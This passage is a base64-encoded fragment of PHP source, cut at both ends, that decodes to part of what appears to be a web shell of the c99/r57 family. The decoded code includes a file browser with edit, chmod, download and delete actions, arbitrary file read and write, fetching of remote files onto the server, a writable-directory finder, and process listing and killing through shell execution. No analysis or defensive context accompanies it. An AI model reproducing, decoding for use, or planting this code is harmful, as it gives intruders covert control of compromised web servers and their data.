b2xkZXJzIl0sJG9iamVjdHNbImxpbmtzIl0sJG9iamVjdHNbImZpbGVzIl0pOw0KICAgICAgJHRhYiA9IGFycmF5KCk7DQogICAgICAkdGFiWyJjb2xzIl0gPSBhcnJheSgkcm93KTsNCiAgICAgICR0YWJbImhlYWQiXSA9IGFycmF5KCk7DQogICAgICAkdGFiWyJmb2xkZXJzIl0gPSBhcnJheSgpOw0KICAgICAgJHRhYlsibGlua3MiXSA9IGFycmF5KCk7DQogICAgICAkdGFiWyJmaWxlcyJdID0gYXJyYXkoKTsNCiAgICAgICRpID0gMDsNCiAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRhKSB7DQogICAgICAgICR2ID0gJGFbMF07DQogICAgICAgICRvID0gYmFzZW5hbWUoJHYpOw0KICAgICAgICAkZGlyID0gZGlybmFtZSgkdik7DQogICAgICAgIGlmICgkZGlzcF9mdWxscGF0aCkgeyRkaXNwcGF0aCA9ICR2O30NCiAgICAgICAgZWxzZSB7JGRpc3BwYXRoID0gJG87fQ0KICAgICAgICAkZGlzcHBhdGggPSBzdHIybWluaSgkZGlzcHBhdGgsNjApOw0KICAgICAgICBpZiAoaW5fYXJyYXkoJHYsJHNlc3NfZGF0YVsiY3V0Il0pKSB7JGRpc3BwYXRoID0gIjxzdHJpa2U+Ii4kZGlzcHBhdGguIjwvc3RyaWtlPiI7fQ0KICAgICAgICBlbHNlaWYgKGluX2FycmF5KCR2LCRzZXNzX2RhdGFbImNvcHkiXSkpIHskZGlzcHBhdGggPSAiPHU+Ii4kZGlzcHBhdGguIjwvdT4iO30NCiAgICAgICAgZm9yZWFjaCAoJHJlZ3hwX2hpZ2hsaWdodCBhcyAkcikgew0KICAgICAgICAgIGlmIChlcmVnKCRyWzBdLCRvKSkgew0KICAgICAgICAgICAgaWYgKCghaXNfbnVtZXJpYygkclsxXSkpIG9yICgkclsxXSA+IDMpKSB7JHJbMV0gPSAwOyBvYl9jbGVhbigpOyBlY2hvICJXYXJuaW5nISBDb25maWd1cmF0aW9uIGVycm9yIGluIFwkcmVneHBfaGlnaGxpZ2h0WyIuJGsuIl1bMF0gLSB1bmtub3duIGNvbW1hbmQuIjsgY2Fwcml2OGV4aXQoKTt9DQogICAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICAgJHJbMV0gPSByb3VuZCgkclsxXSk7DQogICAgICAgICAgICAgICRpc2RpciA9IGlzX2Rpcigkdik7DQogICAgICAgICAgICAgIGlmICgoJHJbMV0gPT0gMCkgb3IgKCgkclsxXSA9PSAxKSBhbmQgISRpc2Rpcikgb3IgKCgkclsxXSA9PSAyKSBhbmQgISRpc2RpcikpIHsNCiAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJHJbMl0pKSB7JHJbMl0gPSAiPGI+IjsgJHJbM10gPSAiPC9iPiI7fQ0KICAgICAgICAgICAgICAgICRkaXNwcGF0aCA9ICRyWzJdLiRkaXNwcGF0aC4kclszXTsNCiAgICAgICAgICAgICAgICBpZiAoJHJbNF0pIHticmVhazt9DQogICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJHVvID0gdXJsZW5jb2RlKCRvKTsNCiAgICAgICAgJHVkID0gdXJsZW5jb2RlKCRkaXIpOw0KICAgICAgICAkdXYgPSB1cmxlbmNvZGUoJHYpOw0KICAgICAgICAkcm93ID0gYXJyYXkoKTsNCiAgICAgICAgaWYgKCRvID09ICIuIikgew0KICAgICAgICAgICRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKHJlYWxwYXRoKCRkLiRvKSkuIiZzb3J0PSIuJHNvcnQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNtYWxsX2RpclwiIGJvcmRlcj1cIjBcIj4mbmJzcDsiLiRvLiI8L2E+IjsNCiAgICAgICAgICAkcm93W10gPSAiQ1VSRElSIjsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlaWYgKCRvID09ICIuLiIpIHsNCiAgICAgICAgICAkcm93W10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZShyZWFscGF0aCgkZC4kbykpLiImc29ydD0iLiRzb3J0LiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1leHRfbG5rXCIgYm9yZGVyPVwiMFwiPiZuYnNwOyIuJG8uIjwvYT4iOw0KICAgICAgICAgICRyb3dbXSA9ICJVUERJUiI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZWlmIChpc19kaXIoJHYpKSB7DQogICAgICAgICAgaWYgKGlzX2xpbmsoJHYpKSB7DQogICAgICAgICAgICAkZGlzcHBhdGggLj0gIiA9PiAiLnJlYWRsaW5rKCR2KTsNCiAgICAgICAgICAgICR0eXBlID0gIkxJTksiOw0KICAgICAgICAgICAgJHJvd1tdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PWxzJmQ9Ii4kdXYuIiZzb3J0PSIuJHNvcnQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF9sbmtcIiBib3JkZXI9XCIwXCI+Jm5ic3A7WyIuJGRpc3BwYXRoLiJdPC9hPiI7DQogICAgICAgICAgfQ0KICAgICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgJHR5cGUgPSAiRElSIjsNCiAgICAgICAgICAgICRyb3dbXSA9ICAiPGEgaHJlZj1cIiIuJHN1cmwuIng9bHMmZD0iLiR1di4iJnNvcnQ9Ii4kc29ydC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c21hbGxfZGlyXCIgYm9yZGVyPVwiMFwiPiZuYnNwO1siLiRkaXNwcGF0aC4iXTwvYT4iOw0KICAgICAgICAgIH0NCiAgICAgICAgICAkcm93W10gPSAkdHlwZTsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlaWYoaXNfZmlsZSgkdikpIHsNCiAgICAgICAgICAkZXh0ID0gZXhwbG9kZSgiLiIsJG8pOw0KICAgICAgICAgICRjID0gY291bnQoJGV4dCktMTsNCiAgICAgICAgICAkZXh0ID0gJGV4dFskY107DQogICAgICAgICAgJGV4dCA9IHN0cnRvbG93ZXIoJGV4dCk7DQogICAgICAgICAgJHJvd1tdID0gICI8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii4kdW8uIiZkPSIuJHVkLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1leHRfIi4kZXh0LiJcIiBib3JkZXI9XCIwXCI+Jm5ic3A7Ii4kZGlzcHBhdGguIjwvYT4iOw0KICAgICAgICAgICRyb3dbXSA9IHZpZXdfc2l6ZSgkYVsxXSk7DQogICAgICAgIH0NCiAgICAgICAgJHJvd1tdID0gZGF0ZSgiZC5tLlkgSDppOnMiLCRhWzJdKTsNCiAgICAgICAgaWYgKCEkd2luKSB7JHJvd1tdID0gJGFbM107fQ0KICAgICAgICAkcm93W10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9Y2htb2QmZj0iLiR1by4iJmQ9Ii4kdWQuIlwiPjxiPiIudmlld19wZXJtc19jb2xvcigkdikuIjwvYj48L2E+IjsNCiAgICAgICAgaWYgKCRvID09ICIuIikgeyRjaGVja2JveCA9ICI8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImFjdGJveFtdXCIgb25jbGljaz1cImxzX3JldmVyc2VfYWxsKCk7XCI+IjsgJGktLTt9DQogICAgICAgIGVsc2UgeyRjaGVja2JveCA9ICI8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImFjdGJveFtdXCIgaWQ9XCJhY3Rib3giLiRpLiJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdikuIlwiPiI7fQ0KICAgICAgICBpZiAoaXNfZGlyKCR2KSkgeyRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD1kJmQ9Ii4kdXYuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF9kaXpcIiBhbHQ9XCJJbmZvXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDsiLiRjaGVja2JveDt9DQogICAgICAgIGVsc2UgeyRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii4kdW8uIiZmdD1pbmZvJmQ9Ii4kdWQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF9kaXpcIiBhbHQ9XCJJbmZvXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE2XCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii4kdW8uIiZmdD1lZGl0JmQ9Ii4kdWQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWNoYW5nZVwiIGFsdD1cIkNoYW5nZVwiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxOVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIuJHVvLiImZnQ9ZG93bmxvYWQmZD0iLiR1ZC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9ZG93bmxvYWRcIiBhbHQ9XCJEb3dubG9hZFwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7Ii4kY2hlY2tib3g7fQ0KICAgICAgICBpZiAoKCRvID09ICIuIikgb3IgKCRvID09ICIuLiIpKSB7JHRhYlsiaGVhZCJdW10gPSAkcm93O30NCiAgICAgICAgZWxzZWlmIChpc19saW5rKCR2KSkgeyR0YWJbImxpbmtzIl1bXSA9ICRyb3c7fQ0KICAgICAgICBlbHNlaWYgKGlzX2RpcigkdikpIHskdGFiWyJmb2xkZXJzIl1bXSA9ICRyb3c7fQ0KICAgICAgICBlbHNlaWYgKGlzX2ZpbGUoJHYpKSB7JHRhYlsiZmlsZXMiXVtdID0gJHJvdzt9DQogICAgICAgICRpKys7DQogICAgICB9DQogICAgfQ0KICAgICR0YWJsZSA9IGFycmF5X21lcmdlKCR0YWJbImNvbHMiXSwkdGFiWyJoZWFkIl0sJHRhYlsiZm9sZGVycyJdLCR0YWJbImxpbmtzIl0sJHRhYlsiZmlsZXMiXSk7DQogICAgZWNobyAiPGRpdiBjbGFzcz1iYXJoZWFkZXI+LT1dICI7DQogICAgaWYgKCFlbXB0eSgkZnhfaW5mb2hlYWQpKSB7IGVjaG8gJGZ4X2luZm9oZWFkOyB9DQogICAgZWxzZSB7IGVjaG8gIkZpbGVzL0ZvbGRlcnMgKCIuY291bnQoJHRhYlsiZmlsZXMiXSkuIiBmaWxlcyBhbmQgIi4oY291bnQoJHRhYlsiZm9sZGVycyJdKStjb3VudCgkdGFiWyJsaW5rcyJdKSkuIiBmb2xkZXJzKSI7IH0NCiAgICBlY2hvICIgWz0tPC9kaXY+XG4iOw0KICAgIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUIG5hbWU9XCJsc19mb3JtXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT1cIiIuJGRzcGFjdC4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0iLiRkLiI+Ii4NCiAgICAgICAgICI8dGFibGUgY2xhc3M9ZXhwbG9yZXI+IjsNCiAgICBmb3JlYWNoKCR0YWJsZSBhcyAkcm93KSB7DQogICAgICBlY2hvICI8dHI+IjsNCiAgICAgIGZvcmVhY2goJHJvdyBhcyAkdikge2VjaG8gIjx0ZD4iLiR2LiI8L3RkPiI7fQ0KICAgICAgZWNobyAiPC90cj5cclxuIjsNCiAgICB9DQogICAgZWNobyAiPC90YWJsZT4iLg0KICAgICAgICAgIjxzY3JpcHQ+Ii4NCiAgICAgICAgICJmdW5jdGlvbiBsc19zZXRjaGVja2JveGFsbChzdGF0dXMpIHsiLg0KICAgICAgICAgIiB2YXIgaWQgPSAxOyB2YXIgbnVtID0gIi4oY291bnQoJHRhYmxlKS0yKS4iOyIuDQogICAgICAgICAiIHdoaWxlIChpZCA8PSBudW0pIHsgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGJveCcraWQpLmNoZWNrZWQgPSBzdGF0dXM7IGlkKys7IH0iLg0KICAgICAgICAgIn0iLg0KICAgICAgICAgImZ1bmN0aW9uIGxzX3JldmVyc2VfYWxsKCkgeyIuDQogICAgICAgICAiIHZhciBpZCA9IDE7IHZhciBudW0gPSAiLihjb3VudCgkdGFibGUpLTIpLiI7Ii4NCiAgICAgICAgICIgd2hpbGUgKGlkIDw9IG51bSkgeyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0Ym94JytpZCkuY2hlY2tlZCA9ICFkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0Ym94JytpZCkuY2hlY2tlZDsgaWQrKzsgfSIuDQogICAgICAgICAifSIuDQogICAgICAgICAiPC9zY3JpcHQ+Ii4NCiAgICAgICAgICI8ZGl2IGFsaWduPVwicmlnaHRcIj4iLg0KICAgICAgICAgIjxpbnB1dCB0eXBlPVwiYnV0dG9uXCIgb25jbGljaz1cImxzX3NldGNoZWNrYm94YWxsKHRydWUpO1wiIHZhbHVlPVwiU2VsZWN0IGFsbFwiPiZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPVwiYnV0dG9uXCIgb25jbGljaz1cImxzX3NldGNoZWNrYm94YWxsKGZhbHNlKTtcIiB2YWx1ZT1cIlVuc2VsZWN0IGFsbFwiPiIuDQogICAgICAgICAiPGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9YXJyb3dfbHRyXCIgYm9yZGVyPVwiMFwiPiI7DQogICAgaWYgKGNvdW50KGFycmF5X21lcmdlKCRzZXNzX2RhdGFbImNvcHkiXSwkc2Vzc19kYXRhWyJjdXQiXSkpID4gMCBhbmQgKCR1c2Vmc2J1ZmYpKSB7DQogICAgICBlY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1hY3RhcmNidWZmIHZhbHVlPVwiUGFjayBidWZmZXIgdG8gYXJjaGl2ZVwiPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJhY3RhcmNidWZmX3BhdGhcIiB2YWx1ZT1cImZ4X2FyY2hpdmVfIi5zdWJzdHIobWQ1KHJhbmQoMSwxMDAwKS5yYW5kKDEsMTAwMCkpLDAsNSkuIi50YXIuZ3pcIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1cImFjdHBhc3RlYnVmZlwiIHZhbHVlPVwiUGFzdGVcIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1cImFjdGVtcHR5YnVmZlwiIHZhbHVlPVwiRW1wdHkgYnVmZmVyXCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgICB9DQogICAgZWNobyAiPHNlbGVjdCBuYW1lPXg+PG9wdGlvbiB2YWx1ZT1cIiIuJHguIlwiPldpdGggc2VsZWN0ZWQ6PC9vcHRpb24+IjsNCiAgICBlY2hvICI8b3B0aW9uIHZhbHVlPWRlbGV0ZSIuKCRkc3BhY3QgPT0gImRlbGV0ZSI/IiBzZWxlY3RlZCI6IiIpLiI+RGVsZXRlPC9vcHRpb24+IjsNCiAgICBlY2hvICI8b3B0aW9uIHZhbHVlPWNobW9kIi4oJGRzcGFjdCA9PSAiY2htb2QiPyIgc2VsZWN0ZWQiOiIiKS4iPkNoYW5nZS1tb2RlPC9vcHRpb24+IjsNCiAgICBpZiAoJHVzZWZzYnVmZikgew0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1jdXQiLigkZHNwYWN0ID09ICJjdXQiPyIgc2VsZWN0ZWQiOiIiKS4iPkN1dDwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPWNvcHkiLigkZHNwYWN0ID09ICJjb3B5Ij8iIHNlbGVjdGVkIjoiIikuIj5Db3B5PC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9dW5zZWxlY3QiLigkZHNwYWN0ID09ICJ1bnNlbGVjdCI/IiBzZWxlY3RlZCI6IiIpLiI+VW5zZWxlY3Q8L29wdGlvbj4iOw0KICAgIH0NCiAgICBlY2hvICI8L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJDb25maXJtXCI+PC9kaXY+IjsNCiAgICBlY2hvICI8L2Zvcm0+IjsNCiAgfQ0KfQ0KaWYgKCR4ID09ICJ0b29scyIpIA0Kew0KDQp9DQppZiAoJHggPT0gInBocGZzeXMiKSB7DQogIGVjaG8gIjxkaXYgYWxpZ249bGVmdD4iOw0KICAkZnNmdW5jID0gJHBocGZzeXNmdW5jOw0KICBpZiAoJGZzZnVuYz09ImNvcHkiKSB7DQogICAgaWYgKCFjb3B5KCRhcmcxLCAkYXJnMikpIHsgZWNobyAiRmFpbGVkIHRvIGNvcHkgJGFyZzEuLi5cbiI7fQ0KICAgIGVsc2UgeyBlY2hvICI8Yj5TdWNjZXNzITwvYj4gJGFyZzEgY29waWVkIHRvICRhcmcyXG4iOyB9DQogIH0NCiAgZWxzZWlmICgkZnNmdW5jPT0icmVuYW1lIikgew0KICAgIGlmICghcmVuYW1lKCRhcmcxLCAkYXJnMikpIHsgZWNobyAiRmFpbGVkIHRvIHJlbmFtZS9tb3ZlICRhcmcxIVxuIjt9DQogICAgZWxzZSB7IGVjaG8gIjxiPlN1Y2Nlc3MhPC9iPiAkYXJnMSByZW5hbWVkL21vdmVkIHRvICRhcmcyXG4iOyB9DQogIH0NCiAgZWxzZWlmICgkZnNmdW5jPT0iY2htb2QiKSB7DQogICAgaWYgKCFjaG1vZCgkYXJnMSwkYXJnMikpIHsgZWNobyAiRmFpbGVkIHRvIGNobW9kICRhcmcxIVxuIjt9DQogICAgZWxzZSB7IGVjaG8gIjxiPlBlcm0gZm9yICRhcmcxIGNoYW5nZWQgdG8gJGFyZzIhPC9iPlxuIjsgfQ0KICB9DQogIGVsc2VpZiAoJGZzZnVuYz09InJlYWQiKSB7DQogICAgJGhhc2lsID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRhcmcxKTsNCiAgICBlY2hvICI8Yj5GaWxlbmFtZTo8L2I+ICRhcmcxPGJyPiI7DQogICAgZWNobyAiPHRleHRhcmVhIGNvbHM9MTUwIHJvd3M9MjA+IjsNCiAgICBlY2hvICRoYXNpbDsNCiAgICBlY2hvICI8L3RleHRhcmVhPlxuIjsNCiAgfQ0KICBlbHNlaWYgKCRmc2Z1bmM9PSJ3cml0ZSIpIHsNCiAgICBpZihAZmlsZV9wdXRfY29udGVudHMoJGQuJGFyZzEsJGFyZzIpKSB7DQogICAgICBlY2hvICI8Yj5TYXZlZCE8L2I+ICIuJGQuJGFyZzE7DQogICAgfQ0KICAgIGVsc2UgeyBlY2hvICI8ZGl2IGNsYXNzPWZ4ZXJybXNnPkNvdWxkbid0IHdyaXRlIHRvICRhcmcxITwvZGl2PiI7IH0NCiAgfQ0KICBlbHNlaWYgKCRmc2Z1bmM9PSJkb3dubG9hZGJpbiIpIHsNCiAgICAkaGFuZGxlID0gZm9wZW4oJGFyZzEsICJyYiIpOw0KICAgICRjb250ZW50cyA9ICcnOw0KICAgIHdoaWxlICghZmVvZigkaGFuZGxlKSkgew0KICAgICAgJGNvbnRlbnRzIC49IGZyZWFkKCRoYW5kbGUsIDgxOTIpOw0KICAgIH0NCiAgICAkciA9IEBmb3BlbigkZC4kYXJnMiwndycpOw0KICAgIGlmIChmd3JpdGUoJHIsJGNvbnRlbnRzKSkgeyBlY2hvICI8Yj5TdWNjZXNzITwvYj4gJGFyZzEgc2F2ZWQgdG8gIi4kZC4kYXJnMi4iICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkZC4kYXJnMikpLiIpIjsgfQ0KICAgIGVsc2UgeyBlY2hvICI8ZGl2IGNsYXNzPWZ4ZXJybXNnPkNvdWxkbid0IHdyaXRlIHRvICIuJGQuJGFyZzIuIiE8L2Rpdj4iOyB9DQogICAgZmNsb3NlKCRyKTsNCiAgICBmY2xvc2UoJGhhbmRsZSk7DQogIH0NCiAgZWxzZWlmICgkZnNmdW5jPT0iZG93bmxvYWQiKSB7DQogICAgJHRleHQgPSBpbXBsb2RlKCcnLCBmaWxlKCRhcmcxKSk7DQogICAgaWYgKCR0ZXh0KSB7DQogICAgICAkciA9IEBmb3BlbigkZC4kYXJnMiwndycpOw0KICAgICAgaWYgKGZ3cml0ZSgkciwkdGV4dCkpIHsgZWNobyAiPGI+U3VjY2VzcyE8L2I+ICRhcmcxIHNhdmVkIHRvICIuJGQuJGFyZzIuIiAoIi52aWV3X3NpemUoZmlsZXNpemUoJGQuJGFyZzIpKS4iKSI7IH0NCiAgICAgIGVsc2UgeyBlY2hvICI8ZGl2IGNsYXNzPWZ4ZXJybXNnPkNvdWxkbid0IHdyaXRlIHRvICIuJGQuJGFyZzIuIiE8L2Rpdj4iOyB9DQogICAgICBmY2xvc2UoJHIpOw0KICAgIH0NCiAgICBlbHNlIHsgZWNobyAiPGRpdiBjbGFzcz1meGVycm1zZz5Db3VsZG4ndCBkb3dubG9hZCBmcm9tICRhcmcxITwvZGl2PiI7fQ0KICB9DQogIGVsc2VpZiAoJGZzZnVuYz09J21rZGlyJykgew0KICAgICR0aGVkaXIgPSAkZC4kYXJnMTsNCiAgICBpZiAoJHRoZWRpciAhPSAkZCkgew0KICAgICAgaWYgKGZpbGVfZXhpc3RzKCR0aGVkaXIpKSB7IGVjaG8gIjxiPkFscmVhZHkgZXhpc3RzOjwvYj4gIi5odG1sc3BlY2lhbGNoYXJzKCR0aGVkaXIpOyB9DQogICAgICBlbHNlaWYgKCFta2RpcigkdGhlZGlyKSkgeyBlY2hvICI8Yj5BY2Nlc3MgZGVuaWVkOjwvYj4gIi5odG1sc3BlY2lhbGNoYXJzKCR0aGVkaXIpOyB9DQogICAgICBlbHNlIHsgZWNobyAiPGI+RGlyIGNyZWF0ZWQ6PC9iPiAiLmh0bWxzcGVjaWFsY2hhcnMoJHRoZWRpcik7fQ0KDQogICAgfQ0KICAgIGVsc2UgeyBlY2hvICJDb3VsZG4ndCBjcmVhdGUgY3VycmVudCBkaXI6PGI+ICR0aGVkaXI8L2I+IjsgfQ0KICB9DQogIGVsc2VpZiAoJGZzZnVuYz09J2Z3cml0YWJsZWRpcicpIHsNCiAgICBmdW5jdGlvbiByZWN1cnNlX2RpcigkZGlyLCRtYXhfZGlyKSB7DQogICAgICBnbG9iYWwgJGRpcl9jb3VudDsNCiAgICAgICRkaXJfY291bnQrKzsNCiAgICAgIGlmKCAkY2RpciA9IEBkaXIoJGRpcikgKSB7DQogICAgICAgIHdoaWxlKCAkZW50cnkgPSAkY2Rpci0+IHJlYWQoKSApIHsNCiAgICAgICAgICBpZiggJGVudHJ5ICE9ICcuJyAmJiAkZW50cnkgIT0gJy4uJyApIHsNCiAgICAgICAgICAgIGlmKGlzX2RpcigkZGlyLiRlbnRyeSkgJiYgaXNfd3JpdGFibGUoJGRpci4kZW50cnkpICkgew0KICAgICAgICAgICAgIGlmICgkZGlyX2NvdW50ID4gJG1heF9kaXIpIHsgcmV0dXJuOyB9DQogICAgICAgICAgICAgIGVjaG8gIlsiLiRkaXJfY291bnQuIl0gIi4kZGlyLiRlbnRyeS4iXG4iOw0KICAgICAgICAgICAgICByZWN1cnNlX2RpcigkZGlyLiRlbnRyeS5ESVJFQ1RPUllfU0VQQVJBVE9SLCRtYXhfZGlyKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJGNkaXItPmNsb3NlKCk7DQogICAgICB9DQogICAgfQ0KICAgIGlmICghJGFyZzEpIHsgJGFyZzEgPSAkZDsgfQ0KICAgIGlmICghJGFyZzIpIHsgJGFyZzIgPSAxMDsgfQ0KICAgIGVjaG8gIjxiPldyaXRhYmxlIGRpcmVjdG9yaWVzIChNYXg6ICRhcmcyKSBpbjo8L2I+ICRhcmcxPGJyPiI7DQogICAgZWNobyAiPHByZT4iOw0KICAgIHJlY3Vyc2VfZGlyKCRhcmcxLCRhcmcyKTsNCiAgICBlY2hvICI8L3ByZT4iOw0KICAgICR0b3RhbCA9ICRkaXJfY291bnQgLSAxOw0KICAgIGVjaG8gIjxiPkZvdW5kczo8L2I+ICIuJHRvdGFsLiIgb2YgPGI+TWF4PC9iPiAkYXJnMiI7DQogIH0NCiAgZWxzZSB7DQogICAgaWYgKCEkYXJnMSkgeyBlY2hvICI8ZGl2IGNsYXNzPWZ4ZXJybXNnPk5vIG9wZXJhdGlvbiEgUGxlYXNlIGZpbGwgcGFyYW1ldGVyIFtBXSE8L2Rpdj5cbiI7IH0NCiAgICBlbHNlIHsNCiAgICAgIGlmICgkaGFzaWwgPSAkZnNmdW5jKCRhcmcxKSkgew0KICAgICAgICBlY2hvICI8Yj5SZXN1bHQgb2YgJGZzZnVuYyAkYXJnMTo8L2I+PGJyPiI7DQogICAgICAgIGlmICghaXNfYXJyYXkoJGhhc2lsKSkgeyBlY2hvICIkaGFzaWxcbiI7IH0NCiAgICAgICAgZWxzZSB7DQogICAgICAgICAgZWNobyAiPHByZT4iOw0KICAgICAgICAgIGZvcmVhY2ggKCRoYXNpbCBhcyAkdikgeyBlY2hvICR2LiJcbiI7IH0NCiAgICAgICAgICBlY2hvICI8L3ByZT4iOw0KICAgICAgICB9DQogICAgICB9DQogICAgICBlbHNlIHsgZWNobyAiPGRpdiBjbGFzcz1meGVycm1zZz4kZnNmdW5jICRhcmcxIGZhaWxlZCE8L2Rpdj5cbiI7IH0NCiAgICB9DQogIH0NCiAgZWNobyAiPC9kaXY+XG4iOw0KfQ0KaWYgKCR4ID09ICJwcm9jZXNzZXMiKSB7DQogIGVjaG8gIjxkaXYgY2xhc3M9YmFyaGVhZGVyPi46IFByb2Nlc3NlcyA6LjwvZGl2PiI7DQogIGlmICghJHdpbikgeyAkaGFuZGxlciA9ICJwcyAtYXV4Ii4oJGdyZXA/IiB8IGdyZXAgJyIuYWRkc2xhc2hlcygkZ3JlcCkuIiciOiIiKTsgfQ0KICBlbHNlIHsgJGhhbmRsZXIgPSAidGFza2xpc3QiOyB9DQogICRyZXQgPSBteXNoZWxsZXhlYygkaGFuZGxlcik7DQogIGlmICghJHJldCkgeyBlY2hvICJDYW4ndCBleGVjdXRlIFwiIi4kaGFuZGxlci4iXCIhIjsgfQ0KICBlbHNlIHsNCiAgICBpZiAoZW1wdHkoJHByb2Nlc3Nlc19zb3J0KSkgeyRwcm9jZXNzZXNfc29ydCA9ICRzb3J0X2RlZmF1bHQ7fQ0KICAgICRwYXJzZXNvcnQgPSBwYXJzZXNvcnQoJHByb2Nlc3Nlc19zb3J0KTsNCiAgICBpZiAoIWlzX251bWVyaWMoJHBhcnNlc29ydFswXSkpIHskcGFyc2Vzb3J0WzBdID0gMDt9DQogICAgJGsgPSAkcGFyc2Vzb3J0WzBdOw0KICAgIGlmICgkcGFyc2Vzb3J0WzFdICE9ICJhIikgew0KICAgICAgJHkgPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRrLiJhXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c29ydF9kZXNjXCIgYm9yZGVyPVwiMFwiPjwvYT4iOw0KICAgIH0NCiAgICBlbHNlIHsNCiAgICAgICR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kay4iZFwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNvcnRfYXNjXCIgaGVpZ2h0PVwiOVwiIHdpZHRoPVwiMTRcIiBib3JkZXI9XCIwXCI+PC9hPiI7DQogICAgfQ0KICAgICRyZXQgPSBodG1sc3BlY2lhbGNoYXJzKCRyZXQpOw0KICAgIGlmICghJHdpbikgew0KICAgICAgaWYgKCRwaWQpIHsNCiAgICAgICAgaWYgKGlzX251bGwoJHNpZykpIHskc2lnID0gOTt9DQogICAgICAgIGVjaG8gIlNlbmRpbmcgc2lnbmFsICIuJHNpZy4iIHRvICMiLiRwaWQuIi4uLiAiOw0KICAgICAgICBpZiAocG9zaXhfa2lsbCgkcGlkLCRzaWcpKSB7ZWNobyAiT0suIjt9DQogICAgICAgIGVsc2Uge2VjaG8gIkVSUk9SLiI7fQ0KICAgICAgfQ0KICAgICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIgIiwkcmV0KTt9DQogICAgICAkc3RhY2sgPSBleHBsb2RlKCJcbiIsJHJldCk7DQogICAgICAkaGVhZCA9IGV4cGxvZGUoIiAiLCRzdGFja1swXSk7DQogICAgICB1bnNldCgkc3RhY2tbMF0pOw0KICAgICAgZm9yKCRpPTA7JGk8Y